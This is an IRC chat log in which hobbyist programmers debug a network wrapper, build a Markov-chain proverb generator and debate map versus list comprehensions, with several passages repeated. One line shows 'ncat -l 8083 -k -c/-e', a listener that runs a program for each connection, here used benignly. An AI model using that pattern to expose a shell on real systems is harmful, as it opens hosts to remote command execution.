[2015-02-11T10:38:00-0500] <+hardmath123> You shouldn't expect the browser to work...
[2015-02-11T10:38:02-0500] <JacobEdelman_> hardmath123: nice
[2015-02-11T10:38:03-0500] <JacobEdelman_> still
[2015-02-11T10:38:06-0500] <+hardmath123> The browser sends HTTP requests.
[2015-02-11T10:38:07-0500] <JacobEdelman_> why isn't nc working?
[2015-02-11T10:38:30-0500] <JacobEdelman_> I mean, its a very simple program
[2015-02-11T10:39:04-0500] <JacobEdelman_> (fyi I'm running it with "python hamelin/hamelin-py/bin/hamelin-net localhost 8082 python proverb-making.py")
[2015-02-11T10:39:37-0500] <+hardmath123> python hamelin/hamelin-py/bin/hamelin-net localhost 8082 /usr/bin/python proverb-making.py
[2015-02-11T10:39:39-0500] <+hardmath123> pls
[2015-02-11T10:39:41-0500] <+hardmath123> :P
[2015-02-11T10:40:02-0500] <+hardmath123> also, talk to you in a few hours coz i need to go to school and get an education.
[2015-02-11T10:40:06-0500] <+hardmath123> see ya.
[2015-02-11T10:40:10-0500] <JacobEdelman_> oh wait
[2015-02-11T10:40:13-0500] <JacobEdelman_> I think I solved it
[2015-02-11T10:40:14-0500] <JacobEdelman_> bye
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[2015-02-11T10:17:35-0500] <JacobEdelman_> I guess
[2015-02-11T10:17:35-0500] <+hardmath123> it makes the right decision by trying all decisions (instantaneously) and picking the one that works
[2015-02-11T10:17:39-0500] <JacobEdelman_>  I live the post
[2015-02-11T10:17:43-0500] <JacobEdelman_> its good
[2015-02-11T10:17:50-0500] <+hardmath123> JACOB LIVES THE POST
[2015-02-11T10:25:54-0500] <JacobEdelman_> oops
[2015-02-11T10:25:57-0500] <JacobEdelman_> close enough
[2015-02-11T10:26:01-0500] <JacobEdelman_> only one letter off
[2015-02-11T10:26:18-0500] <JacobEdelman_> (I meant like, not love or lake or livy)
[2015-02-11T10:30:17-0500] <JacobEdelman_> hardmath123: I can't get output working with hamelin
[2015-02-11T10:30:23-0500] <JacobEdelman_> my program keeps on throwing an error
[2015-02-11T10:30:35-0500] <JacobEdelman_> heres the relevant bit of the program
[2015-02-11T10:30:38-0500] <JacobEdelman_> https://www.irccloud.com/pastebin/Dmvq73ht
[2015-02-11T10:34:36-0500] <+hardmath123> hardmath123: where's the error?
[2015-02-11T10:34:40-0500] <+hardmath123> JacobEdelman_: ^^
[2015-02-11T10:34:43-0500] <+hardmath123> what does it say?
[2015-02-11T10:34:53-0500] <JacobEdelman_> Write failed with error. Killing server.
[2015-02-11T10:35:00-0500] <JacobEdelman_> thats for when I access it with a browser
[2015-02-11T10:35:02-0500] <JacobEdelman_> when I use nc
[2015-02-11T10:35:15-0500] <JacobEdelman_> nothing happens
[2015-02-11T10:35:19-0500] <JacobEdelman_> I don't see any output
[2015-02-11T10:35:40-0500] <JacobEdelman_> (I don't see any output with nc)
[2015-02-11T10:35:47-0500] <JacobEdelman_> I see output on the hamelin program
[2015-02-11T10:35:56-0500] <JacobEdelman_> and than when I kill the nc instance
[2015-02-11T10:36:03-0500] <JacobEdelman_> hamelin says:
[2015-02-11T10:36:07-0500] <JacobEdelman_> https://www.irccloud.com/pastebin/zyXnqFqf
[2015-02-11T10:36:33-0500] <JacobEdelman_> Which I assume means its just timing out
[2015-02-11T10:36:51-0500] <JacobEdelman_> now that I think about it I think the same thing happens when I muse the browser to access it more or less
[2015-02-11T10:36:55-0500] <JacobEdelman_> *I use
[2015-02-11T10:37:41-0500] <JacobEdelman_> okay, I simplified my program down too: 
[2015-02-11T10:37:44-0500] <+hardmath123> Whoa, someone PR's a typo on my blog again. :D
[2015-02-11T10:37:44-0500] <JacobEdelman_> https://www.irccloud.com/pastebin/TAU8XFvC
[2015-02-11T10:38:00-0500] <+hardmath123> You shouldn't expect the browser to work...
[2015-02-11T10:38:02-0500] <JacobEdelman_> hardmath123: nice
[2015-02-11T10:38:03-0500] <JacobEdelman_> still
[2015-02-11T10:38:06-0500] <+hardmath123> The browser sends HTTP requests.
[2015-02-11T10:38:07-0500] <JacobEdelman_> why isn't nc working?
[2015-02-11T10:38:30-0500] <JacobEdelman_> I mean, its a very simple program
[2015-02-11T10:39:04-0500] <JacobEdelman_> (fyi I'm running it with "python hamelin/hamelin-py/bin/hamelin-net localhost 8082 python proverb-making.py")
[2015-02-11T10:39:37-0500] <+hardmath123> python hamelin/hamelin-py/bin/hamelin-net localhost 8082 /usr/bin/python proverb-making.py
[2015-02-11T10:39:39-0500] <+hardmath123> pls
[2015-02-11T10:39:41-0500] <+hardmath123> :P
[2015-02-11T10:40:02-0500] <+hardmath123> also, talk to you in a few hours coz i need to go to school and get an education.
[2015-02-11T10:40:06-0500] <+hardmath123> see ya.
[2015-02-11T10:40:10-0500] <JacobEdelman_> oh wait
[2015-02-11T10:40:13-0500] <JacobEdelman_> I think I solved it
[2015-02-11T10:40:14-0500] <JacobEdelman_> bye
[2015-02-11T11:10:46-0500] <+awe> JacobEdelman_: making great use of that bouncer, I see.
[2015-02-11T11:10:54-0500] <JacobEdelman_> i can't use it at school
[2015-02-11T11:10:56-0500] <JacobEdelman_> cause proxy
[2015-02-11T11:11:25-0500] Mode is +nt
[2015-02-11T11:11:35-0500] <+awe> What a poor reverse engineer.
[2015-02-11T11:11:38-0500] <+awe> You just give up?
[2015-02-11T11:11:40-0500] <+awe> You're weak.
[2015-02-11T11:12:28-0500] <JacobEdelman_> I'm lazy
[2015-02-11T11:12:32-0500] <JacobEdelman_> I use the bouncer at home
[2015-02-11T11:12:33-0500] <JacobEdelman_> also
[2015-02-11T11:12:40-0500] <JacobEdelman_> isn't hamelin just  : ncat -l 8083 -k -c
[2015-02-11T11:12:45-0500] <JacobEdelman_> *-e not -c
[2015-02-11T11:12:49-0500] <JacobEdelman_> ?
[2015-02-11T11:12:56-0500] <JacobEdelman_> (although I guess -c works as well)
[2015-02-11T11:13:01-0500] <JacobEdelman_> what  ncat -l 8083 -k -c does
[2015-02-11T11:13:04-0500] <+awe> Probably, yes.
[2015-02-11T11:13:13-0500] <+awe> You can do the TCP version of hamelin with netcat.
[2015-02-11T11:13:36-0500] <JacobEdelman_> ... so we need other versions of it to be useful
[2015-02-11T11:14:27-0500] <+awe> I made an SSL one.
[2015-02-11T11:15:17-0500] <JacobEdelman_> eh, netcat may be able to do that
[2015-02-11T11:15:18-0500] <+awe> But I don't think either of my Rust ones work 100% right now.
[2015-02-11T11:15:30-0500] <+awe> netcat does not support SSL.
[2015-02-11T11:15:31-0500] <+awe> At all.
[2015-02-11T11:15:35-0500] <JacobEdelman_> ncat
[2015-02-11T11:15:36-0500] <JacobEdelman_> does
[2015-02-11T11:15:39-0500] <+awe> Yes, it does.
[2015-02-11T11:15:43-0500] <+awe> But it's not bundled with most systems anyway.
[2015-02-11T11:15:51-0500] <+awe> I don't have ncat.
[2015-02-11T11:15:53-0500] <JacobEdelman_> eh, its still easy
[2015-02-11T11:15:53-0500] <JacobEdelman_> also
[2015-02-11T11:16:09-0500] <JacobEdelman_> http://799bdd72.ngrok.com
[2015-02-11T11:16:20-0500] <+awe> ??
[2015-02-11T11:16:24-0500] <+awe> I see nothing.
[2015-02-11T11:16:29-0500] <+awe> It won't load.
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[2015-02-11T11:17:53-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-11T10:38:00-0500] <+hardmath123> You shouldn't expect the browser to work...
[2015-02-11T10:38:02-0500] <JacobEdelman_> hardmath123: nice
[2015-02-11T10:38:03-0500] <JacobEdelman_> still
[2015-02-11T10:38:06-0500] <+hardmath123> The browser sends HTTP requests.
[2015-02-11T10:38:07-0500] <JacobEdelman_> why isn't nc working?
[2015-02-11T10:38:30-0500] <JacobEdelman_> I mean, its a very simple program
[2015-02-11T10:39:04-0500] <JacobEdelman_> (fyi I'm running it with "python hamelin/hamelin-py/bin/hamelin-net localhost 8082 python proverb-making.py")
[2015-02-11T10:39:37-0500] <+hardmath123> python hamelin/hamelin-py/bin/hamelin-net localhost 8082 /usr/bin/python proverb-making.py
[2015-02-11T10:39:39-0500] <+hardmath123> pls
[2015-02-11T10:39:41-0500] <+hardmath123> :P
[2015-02-11T10:40:02-0500] <+hardmath123> also, talk to you in a few hours coz i need to go to school and get an education.
[2015-02-11T10:40:06-0500] <+hardmath123> see ya.
[2015-02-11T10:40:10-0500] <JacobEdelman_> oh wait
[2015-02-11T10:40:13-0500] <JacobEdelman_> I think I solved it
[2015-02-11T10:40:14-0500] <JacobEdelman_> bye
[2015-02-11T11:10:46-0500] <+awe> JacobEdelman_: making great use of that bouncer, I see.
[2015-02-11T11:10:54-0500] <JacobEdelman_> i can't use it at school
[2015-02-11T11:10:56-0500] <JacobEdelman_> cause proxy
[2015-02-11T11:11:35-0500] <+awe> What a poor reverse engineer.
[2015-02-11T11:11:38-0500] <+awe> You just give up?
[2015-02-11T11:11:40-0500] <+awe> You're weak.
[2015-02-11T11:12:28-0500] <JacobEdelman_> I'm lazy
[2015-02-11T11:12:32-0500] <JacobEdelman_> I use the bouncer at home
[2015-02-11T11:12:33-0500] <JacobEdelman_> also
[2015-02-11T11:12:40-0500] <JacobEdelman_> isn't hamelin just  : ncat -l 8083 -k -c
[2015-02-11T11:12:46-0500] <JacobEdelman_> *-e not -c
[2015-02-11T11:12:49-0500] <JacobEdelman_> ?
[2015-02-11T11:12:57-0500] <JacobEdelman_> (although I guess -c works as well)
[2015-02-11T11:13:01-0500] <JacobEdelman_> what  ncat -l 8083 -k -c does
[2015-02-11T11:13:04-0500] <+awe> Probably, yes.
[2015-02-11T11:13:13-0500] <+awe> You can do the TCP version of hamelin with netcat.
[2015-02-11T11:13:36-0500] <JacobEdelman_> ... so we need other versions of it to be useful
[2015-02-11T11:14:27-0500] <+awe> I made an SSL one.
[2015-02-11T11:15:17-0500] <JacobEdelman_> eh, netcat may be able to do that
[2015-02-11T11:15:18-0500] <+awe> But I don't think either of my Rust ones work 100% right now.
[2015-02-11T11:15:30-0500] <+awe> netcat does not support SSL.
[2015-02-11T11:15:31-0500] <+awe> At all.
[2015-02-11T11:15:35-0500] <JacobEdelman_> ncat
[2015-02-11T11:15:36-0500] <JacobEdelman_> does
[2015-02-11T11:15:39-0500] <+awe> Yes, it does.
[2015-02-11T11:15:44-0500] <+awe> But it's not bundled with most systems anyway.
[2015-02-11T11:15:49-0500] <JacobEdelman_> eh, its still easy
[2015-02-11T11:15:51-0500] <JacobEdelman_> also
[2015-02-11T11:15:51-0500] <+awe> I don't have ncat.
[2015-02-11T11:16:09-0500] <JacobEdelman_> http://799bdd72.ngrok.com
[2015-02-11T11:16:30-0500] <JacobEdelman_> programming proverbs as a service
[2015-02-11T11:16:34-0500] <JacobEdelman_> it uses markov chains
[2015-02-11T11:16:37-0500] <JacobEdelman_> its rather simple 
[2015-02-11T11:16:38-0500] <JacobEdelman_> but cool
[2015-02-11T11:17:02-0500] <JacobEdelman_> (and yes, it is slow, cause I'm getting a source fil of lots of proverbs each time you make a request)
[2015-02-11T11:17:53-0500] Mode is +nt
[2015-02-11T11:18:05-0500] <JacobEdelman_> I'm gonna move the proverbs file to my computer so it'll become decentely fast
[2015-02-11T11:18:08-0500] <+awe> It doesn't load at all.
[2015-02-11T11:18:08-0500] <JacobEdelman_> but whats cool
[2015-02-11T11:18:13-0500] <JacobEdelman_> really?
[2015-02-11T11:18:16-0500] <JacobEdelman_> you gave it a minute
[2015-02-11T11:18:18-0500] <JacobEdelman_> it works for me?
[2015-02-11T11:18:24-0500] <JacobEdelman_> ohw wait
[2015-02-11T11:18:25-0500] <+awe> Nope.
[2015-02-11T11:18:28-0500] <+awe> Doesn't load at all.
[2015-02-11T11:18:30-0500] <JacobEdelman_> it errored
[2015-02-11T11:18:34-0500] <JacobEdelman_> which may happen occaisonaly
[2015-02-11T11:18:39-0500] <JacobEdelman_> cause unicode weirdness
[2015-02-11T11:18:48-0500] <JacobEdelman_> try again
[2015-02-11T11:18:56-0500] <+awe> Nopee.
[2015-02-11T11:18:57-0500] <JacobEdelman_> (I'll fix it up later, make it fast, and simple)
[2015-02-11T11:18:58-0500] <+awe> Doesn't load.
[2015-02-11T11:18:59-0500] <JacobEdelman_> really?
[2015-02-11T11:19:01-0500] <+awe> Yes.
[2015-02-11T11:19:02-0500] <+awe> Really.
[2015-02-11T11:19:51-0500] <JacobEdelman_> I blame the schools proxy
[2015-02-11T11:20:03-0500] <+awe> I blame you for trying to host something while at school.
[2015-02-11T11:20:11-0500] <JacobEdelman_> :P
[2015-02-11T11:20:13-0500] <JacobEdelman_> it works locally
[2015-02-11T11:20:18-0500] <+awe> Screencap?
[2015-02-11T11:20:54-0500] <JacobEdelman_> ?
[2015-02-11T11:20:56-0500] <JacobEdelman_> what?
[2015-02-11T11:20:59-0500] <+awe> Give me a screenshot?
[2015-02-11T11:21:08-0500] <+awe> So that I might see it without using it?
[2015-02-11T11:21:13-0500] <JacobEdelman_> oh, okay
[2015-02-11T11:21:24-0500] <JacobEdelman_> it just returns raw text
[2015-02-11T11:21:27-0500] <JacobEdelman_> such as: A poor programmer blames the code with some beers on a web standard alone.
[2015-02-11T11:21:30-0500] <+awe> Ok.
[2015-02-11T11:21:37-0500] <+awe> That's super easy.
[2015-02-11T11:21:44-0500] <+awe> I could do that in a minute with Rust.
[2015-02-11T11:21:47-0500] <JacobEdelman_> or: Simpler code is inside it. Once it for a programmer to bloom.
[2015-02-11T11:21:52-0500] <JacobEdelman_> yeah, it took me like a minute
[2015-02-11T11:21:59-0500] <JacobEdelman_> it does some nice markov chain stuff
[2015-02-11T11:22:09-0500] <JacobEdelman_> and is very short
[2015-02-11T11:23:02-0500] <JacobEdelman_> its cause I saw this on hn: http://futurice.com/blog/programmer-proverbs
[2015-02-11T11:23:04-0500] <JacobEdelman_> and thought
[2015-02-11T11:23:09-0500] <JacobEdelman_> those are very predictable
[2015-02-11T11:23:18-0500] <JacobEdelman_> and so I make something to serve them automatically
[2015-02-11T11:23:34-0500] <JacobEdelman_> now I'll see if I can make them be in nice big text, with blurred background pictures or whatever
[2015-02-11T11:23:36-0500] <JacobEdelman_> and I'm done
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[2015-02-11T11:16:09-0500] <JacobEdelman_> http://799bdd72.ngrok.com
[2015-02-11T11:16:30-0500] <JacobEdelman_> programming proverbs as a service
[2015-02-11T11:16:34-0500] <JacobEdelman_> it uses markov chains
[2015-02-11T11:16:37-0500] <JacobEdelman_> its rather simple 
[2015-02-11T11:16:38-0500] <JacobEdelman_> but cool
[2015-02-11T11:17:02-0500] <JacobEdelman_> (and yes, it is slow, cause I'm getting a source fil of lots of proverbs each time you make a request)
[2015-02-11T11:18:05-0500] <JacobEdelman_> I'm gonna move the proverbs file to my computer so it'll become decentely fast
[2015-02-11T11:18:09-0500] <JacobEdelman_> but whats cool
[2015-02-11T11:18:09-0500] <+awe> It doesn't load at all.
[2015-02-11T11:18:13-0500] <JacobEdelman_> really?
[2015-02-11T11:18:16-0500] <JacobEdelman_> you gave it a minute
[2015-02-11T11:18:19-0500] <JacobEdelman_> it works for me?
[2015-02-11T11:18:24-0500] <JacobEdelman_> ohw wait
[2015-02-11T11:18:25-0500] <+awe> Nope.
[2015-02-11T11:18:28-0500] <+awe> Doesn't load at all.
[2015-02-11T11:18:30-0500] <JacobEdelman_> it errored
[2015-02-11T11:18:34-0500] <JacobEdelman_> which may happen occaisonaly
[2015-02-11T11:18:39-0500] <JacobEdelman_> cause unicode weirdness
[2015-02-11T11:18:48-0500] <JacobEdelman_> try again
[2015-02-11T11:18:56-0500] <+awe> Nopee.
[2015-02-11T11:18:58-0500] <JacobEdelman_> (I'll fix it up later, make it fast, and simple)
[2015-02-11T11:18:59-0500] <+awe> Doesn't load.
[2015-02-11T11:18:59-0500] <JacobEdelman_> really?
[2015-02-11T11:19:02-0500] <+awe> Yes.
[2015-02-11T11:19:03-0500] <+awe> Really.
[2015-02-11T11:19:51-0500] <JacobEdelman_> I blame the schools proxy
[2015-02-11T11:20:03-0500] <+awe> I blame you for trying to host something while at school.
[2015-02-11T11:20:11-0500] <JacobEdelman_> :P
[2015-02-11T11:20:13-0500] <JacobEdelman_> it works locally
[2015-02-11T11:20:18-0500] <+awe> Screencap?
[2015-02-11T11:20:54-0500] <JacobEdelman_> ?
[2015-02-11T11:20:56-0500] <JacobEdelman_> what?
[2015-02-11T11:20:59-0500] <+awe> Give me a screenshot?
[2015-02-11T11:21:08-0500] <+awe> So that I might see it without using it?
[2015-02-11T11:21:13-0500] <JacobEdelman_> oh, okay
[2015-02-11T11:21:24-0500] <JacobEdelman_> it just returns raw text
[2015-02-11T11:21:27-0500] <JacobEdelman_> such as: A poor programmer blames the code with some beers on a web standard alone.
[2015-02-11T11:21:30-0500] <+awe> Ok.
[2015-02-11T11:21:37-0500] <+awe> That's super easy.
[2015-02-11T11:21:45-0500] <+awe> I could do that in a minute with Rust.
[2015-02-11T11:21:47-0500] <JacobEdelman_> or: Simpler code is inside it. Once it for a programmer to bloom.
[2015-02-11T11:21:52-0500] <JacobEdelman_> yeah, it took me like a minute
[2015-02-11T11:22:00-0500] <JacobEdelman_> it does some nice markov chain stuff
[2015-02-11T11:22:09-0500] <JacobEdelman_> and is very short
[2015-02-11T11:23:03-0500] <JacobEdelman_> its cause I saw this on hn: http://futurice.com/blog/programmer-proverbs
[2015-02-11T11:23:04-0500] <JacobEdelman_> and thought
[2015-02-11T11:23:09-0500] <JacobEdelman_> those are very predictable
[2015-02-11T11:23:18-0500] <JacobEdelman_> and so I make something to serve them automatically
[2015-02-11T11:23:34-0500] <JacobEdelman_> now I'll see if I can make them be in nice big text, with blurred background pictures or whatever
[2015-02-11T11:23:36-0500] <JacobEdelman_> and I'm done
[2015-02-11T11:48:38-0500] Mode is +nt
[2015-02-11T11:52:23-0500] <+awe> https://www.dropbox.com/s/5wlgg5sd82i9ui8/Screenshot%202015-02-11%2011.52.21.png?dl=0
[2015-02-11T11:52:25-0500] <+awe> JacobEdelman_: 
[2015-02-11T11:52:32-0500] <+awe> JacobEdelman_: I did it.
[2015-02-11T11:52:53-0500] <JacobEdelman_> no capitalization or periods?
[2015-02-11T11:53:00-0500] <JacobEdelman_> weird unicode glitches?
[2015-02-11T11:53:29-0500] <+awe> That's because this is using tumblr posts as a source.
[2015-02-11T11:53:34-0500] <+awe> That wasn't a unicode glitch at all.
[2015-02-11T11:53:36-0500] <+awe> That's just tumblr.
[2015-02-11T11:55:40-0500] <+awe> JacobEdelman_: where did you get programming proverbs from as sources?
[2015-02-11T11:55:49-0500] <JacobEdelman_> proverbs-app.antjan.us
[2015-02-11T11:56:02-0500] <JacobEdelman_> :)
[2015-02-11T11:58:25-0500] <+awe> JacobEdelman_: ""Public code review forces one to better oneself. It forces better practices, smarter solutions, growth as a developer... or being broken.\n-----proverbs[]: Testing covers not testing.","
[2015-02-11T11:58:26-0500] <+awe> JacobEdelman_: wat
[2015-02-11T11:58:50-0500] <JacobEdelman_> I think its irony
[2015-02-11T11:58:55-0500] <JacobEdelman_> or something
[2015-02-11T11:58:58-0500] <JacobEdelman_> :P
[2015-02-11T11:59:12-0500] <+awe> https://www.dropbox.com/s/wdiyxk56egk3tgc/Screenshot%202015-02-11%2011.59.09.png?dl=0
[2015-02-11T11:59:14-0500] <+awe> There we go.
[2015-02-11T11:59:21-0500] <+awe> "One thing should never refactors, and your company will follow."
[2015-02-11T11:59:21-0500] <+awe> lol
[2015-02-11T11:59:25-0500] <+awe> "A hundred programmers won't make a refactor."
[2015-02-11T11:59:38-0500] <+awe> "Give a new product to bloom."
[2015-02-11T11:59:43-0500] <+awe> "The code's writin' but ain't nobody programming."
[2015-02-11T11:59:54-0500] <+awe> Oh, that's a legitimate one.
[2015-02-11T12:00:20-0500] <+awe> Leave architecture for a final product.
[2015-02-11T12:00:28-0500] <+awe> Lock up your dance moves when drunk, next time you have to code never do his work for design.
[2015-02-11T12:00:29-0500] <+awe> lol
[2015-02-11T12:01:25-0500] <JacobEdelman_> wow
[2015-02-11T12:01:26-0500] <JacobEdelman_> :P
[2015-02-11T12:09:42-0500] <JacobEdelman_> awe: can I see the source?
[2015-02-11T12:09:58-0500] <JacobEdelman_> here is mine:
[2015-02-11T12:10:01-0500] <JacobEdelman_> https://www.irccloud.com/pastebin/4O5OFGJE
[2015-02-11T12:11:36-0500] <JacobEdelman_> uhg, just realized I didn't need regular expressions anymore, this version is cleaner:
[2015-02-11T12:11:41-0500] <JacobEdelman_> https://www.irccloud.com/pastebin/fu7XE45i
[2015-02-11T12:12:46-0500] <JacobEdelman_> (if I wanted to a be a horribel person I could use eval instead of json parsing but I don't)
[2015-02-11T12:14:10-0500] <JacobEdelman_> "Facebook wasn't built in a programming language, become a new developer."
[2015-02-11T12:16:01-0500] <The_Master> I have a quadcopter.
[2015-02-11T12:16:20-0500] • The_Master: just needed to say that.
[2015-02-11T12:18:13-0500] <JacobEdelman_> awe: updated version
[2015-02-11T12:18:15-0500] <JacobEdelman_> https://www.irccloud.com/pastebin/R5r3ajiW
[2015-02-11T12:18:38-0500] <The_Master> JacobEdelman_: I am bored, what should I do
[2015-02-11T12:18:46-0500] <JacobEdelman_> eat pie
[2015-02-11T12:19:13-0500] <The_Master> I tried eating pi, and no pie is available
[2015-02-11T12:30:55-0500] <Hyper> JacobEdelman_: in two lines in a row you alternate between map and a list comprehension
[2015-02-11T12:31:01-0500] <Hyper> make up your mind :P
[2015-02-11T12:31:17-0500] <JacobEdelman_> it depends on the circumstances
[2015-02-11T12:31:25-0500] <Hyper> >___>
[2015-02-11T12:31:31-0500] <JacobEdelman_> map is esier if I have a function that I want to reuse/is named
[2015-02-11T12:31:33-0500] <JacobEdelman_> *easier
[2015-02-11T12:31:47-0500] <JacobEdelman_> list comprehension is easier if its an expression that I only want to use once
[2015-02-11T12:31:51-0500] <Hyper> fair enough, I guess
[2015-02-11T12:32:22-0500] <JacobEdelman_> how much of a sin would it be to turn json.load(f)
[2015-02-11T12:32:26-0500] <JacobEdelman_> into eval(f.read())
[2015-02-11T12:32:27-0500] <JacobEdelman_> ?
[2015-02-11T12:32:54-0500] <Hyper> just no.
[2015-02-11T12:33:01-0500] <JacobEdelman_> I mean, its not user input
[2015-02-11T12:33:21-0500] <Hyper> Eval is bad for plenty of other reasons.
[2015-02-11T12:33:35-0500] <JacobEdelman_> I know
[2015-02-11T12:33:41-0500] <JacobEdelman_> wait, no i don't
[2015-02-11T12:33:43-0500] <JacobEdelman_> in this case
[2015-02-11T12:33:45-0500] <Hyper> what do you gain by doing eval?
[2015-02-11T12:33:52-0500] <JacobEdelman_> I can remove the json import :P
[2015-02-11T12:34:00-0500] <Hyper> you're not golfing this
[2015-02-11T12:34:28-0500] <JacobEdelman_> I'm not, but I'm trying to make the code simple and pretty
[2015-02-11T12:34:37-0500] <JacobEdelman_> but I guess in the end, the json.load is simpler
[2015-02-11T12:34:39-0500] <JacobEdelman_> than eval
[2015-02-11T12:35:38-0500] <Hyper> I think you misunderstand the meaning of the word simple :P
[2015-02-11T12:35:56-0500] <JacobEdelman_> nah, from a python perspective eval is simple, its just evil
[2015-02-11T12:36:16-0500] <JacobEdelman_> and I guess in this case its purpose (metaprogramming and making ctf problems) is not applicable
[2015-02-11T12:36:44-0500] <JacobEdelman_> haha
[2015-02-11T12:36:47-0500] <JacobEdelman_> it just ouptued
[2015-02-11T12:36:49-0500] <JacobEdelman_> "Lock up your best friend."
[2015-02-11T12:37:18-0500] <Hyper> "Listen to the voices, Jacob"
[2015-02-11T12:37:22-0500] <JacobEdelman_> haha
[2015-02-11T12:37:24-0500] <Hyper> "The voices never lie"
[2015-02-11T12:40:43-0500] <JacobEdelman_> https://www.irccloud.com/pastebin/rQAlSQk0
[2015-02-11T12:41:33-0500] <Hyper> JacobEdelman_: I really think you don't understand the difference between "simple" and "short"
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[2015-02-11T13:27:11-0500] <+awe> JacobEdelman_: the answer is to use map always
[2015-02-11T13:28:14-0500] <+awe> Hyper: agreed that he doesn't know the definition of simple.
[2015-02-11T13:28:32-0500] <Hyper> the answer is to use list comprehensions always >_>
[2015-02-11T13:28:46-0500] <+awe> Hyper: map is more general
[2015-02-11T13:28:59-0500] <Hyper> list comprehensions are maps and filters in one
[2015-02-11T13:29:33-0500] <Hyper> so you can do more in an abbreviated form (at least until all languages embrace the one true UFCS)
[2015-02-11T13:29:38-0500] <Hyper> erm
[2015-02-11T13:29:40-0500] <+awe> JacobEdelman: http://sprunge.us/FbPN?rust but before you suggest that yours is somehow better because it's shorter, most of this code is web server stuff.
[2015-02-11T13:29:52-0500] <Hyper> s/abberviated/more readable
[2015-02-11T13:30:01-0500] <+awe> allCodes 1 = group colors
[2015-02-11T13:30:01-0500] <+awe> allCodes n = liftA2 (++) (group colors) $ allCodes $ n - 1
[2015-02-11T13:30:02-0500] <Hyper> s/abberviated/abbreviated
[2015-02-11T13:30:13-0500] <+awe> ^ that's a generalized list comprehension n times.
[2015-02-11T13:30:21-0500] <+awe> You cannot write that with list comprehensions.
[2015-02-11T13:30:31-0500] • Hyper: pretends to be able to read that
[2015-02-11T13:30:54-0500] <+awe> It defines all codes of length 1 as being each individual color
[2015-02-11T13:31:49-0500] • Hyper: continues to pretend to know what that means
[2015-02-11T13:32:00-0500] <+awe> This was for the game Mastermind.
[2015-02-11T13:32:06-0500] <Hyper> ah
[2015-02-11T13:32:15-0500] <Hyper> that makes sense then
[2015-02-11T13:32:20-0500] <+awe> The only important part about this is that it's getting the list of all possible combinations of colors of length n.
[2015-02-11T13:32:20-0500] <Hyper> context, motherfucker, do you speak it?
[2015-02-11T13:32:37-0500] <+awe> That's the important context.
[2015-02-11T13:33:05-0500] <Hyper> hrm
[2015-02-11T13:33:22-0500] <Hyper> yeah I really don't find that more readable
[2015-02-11T13:33:25-0500] <+awe> And it does so by taking advantage of the fact that lists are monads representing indeterminacy and therefore lifting a function over it applies it to errythang. 
[2015-02-11T13:33:26-0500] <Hyper> or readable at all x.x
[2015-02-11T13:33:36-0500] <+awe> It's literally impossible to write with a list comprehension.
[2015-02-11T13:33:46-0500] <Hyper> ok, so?
[2015-02-11T13:33:57-0500] <+awe> therefore, maps et al. are better.
[2015-02-11T13:33:58-0500] <Hyper> that doesn't make it better.
[2015-02-11T13:34:00-0500] <+awe> Because they can do more.
[2015-02-11T13:34:03-0500] <Hyper> that makes it more general
[2015-02-11T13:34:05-0500] <Hyper> not better
[2015-02-11T13:34:11-0500] <+awe> [13:28:46]  <+awe>	Hyper: map is more general
[2015-02-11T13:34:25-0500] <Hyper> [13:33:57]  <+awe>	therefore, maps et al. are better.
[2015-02-11T13:34:42-0500] <+awe> I'm pretty sure you wrote "that doesn't make it better." before I sent that.
[2015-02-11T13:34:56-0500] <Hyper> the point is still true.
[2015-02-11T13:34:58-0500] <+awe> And anyway, I'd prefer the thing that's more general.
[2015-02-11T13:35:29-0500] <+awe> I wouldn't say anyone is wrong for choosing to use list comprehensions, but I personally prefer the more general option.
[2015-02-11T13:35:35-0500] <Hyper> I'd prefer the thing that makes sense when you read it
[2015-02-11T13:35:36-0500] <Hyper> lol
[2015-02-11T13:36:04-0500] <+awe> maps make sense to me.
[2015-02-11T13:36:16-0500] <Hyper> I'm not saying they don't
[2015-02-11T13:36:31-0500] <+awe> And actually, I think it's supposed to be the case that most people have more difficulty understanding list comprehensions?
[2015-02-11T13:36:32-0500] <Hyper> and perhaps it's because I don't know haskell syntax
[2015-02-11T13:36:37-0500] <Hyper> but
[2015-02-11T13:36:54-0500] <+awe> 99% chance it's the $.
[2015-02-11T13:37:07-0500] <+awe> Every time someone sees code with $, they think it's black magic voodoo.
[2015-02-11T13:37:10-0500] <Hyper> [x**2 for x in [0, 1, 2, 3] if x % 2 == 0] makes a bunch of sense to me
[2015-02-11T13:37:38-0500] <Hyper> versus map square filter even [0, 1, 2, 3] 
[2015-02-11T13:37:51-0500] <Hyper> I think that's right?
[2015-02-11T13:37:54-0500] <+awe> And by someone I mean someone who doesn't know haskll.
[2015-02-11T13:38:00-0500] <Hyper> correct me if i'm wrong
[2015-02-11T13:38:36-0500] <Hyper> of course [0, 1, 2, 3].filter!even.map!square is king :)
[2015-02-11T13:38:49-0500] <+awe> f = map square . filter even
[2015-02-11T13:38:50-0500] <+awe> ^
[2015-02-11T13:38:51-0500] <Hyper> because you can read it from right to left easily
[2015-02-11T13:38:51-0500] <+awe> Beauty.
[2015-02-11T13:39:34-0500] <+awe> Hyper: for the record, $ is just function application
[2015-02-11T13:39:44-0500] <+awe> Hyper: but instead of being left associative, it's right associative.
[2015-02-11T13:39:50-0500] <Hyper> ah, ok
[2015-02-11T13:40:01-0500] <+awe> f a b == (f a) b
[2015-02-11T13:40:03-0500] <Hyper> so it's like arg $ func?
[2015-02-11T13:40:10-0500] <+awe> f $ a b == f (a b)
[2015-02-11T13:40:14-0500] <Hyper> ah
[2015-02-11T13:40:14-0500] <Hyper> ok
[2015-02-11T13:40:26-0500] <Hyper> wait what
[2015-02-11T13:40:31-0500] <Hyper> what's that *do*
[2015-02-11T13:40:40-0500] <Hyper> is a a function?
[2015-02-11T13:40:46-0500] <+awe> If a wasn't a function, it wouldn't work.
[2015-02-11T13:40:49-0500] <Hyper> ok
[2015-02-11T13:40:52-0500] <+awe> If a is a function, it works.
[2015-02-11T13:40:53-0500] <Hyper> then it makes sense
[2015-02-11T13:40:55-0500] <Hyper> cool, got it
[2015-02-11T13:41:25-0500] <+awe> Maybe more concretely: map square (filter even [0..3])
[2015-02-11T13:41:28-0500] <+awe> OR
[2015-02-11T13:41:30-0500] <Hyper> yeah I need to learn some fancy-schmancy functional language sooner or later
[2015-02-11T13:41:32-0500] <+awe> map square $ filter even [0..3]
[2015-02-11T13:41:39-0500] <+awe> But the ideal would be to do what I did before
[2015-02-11T13:41:43-0500] <+awe> f = map square . filter even
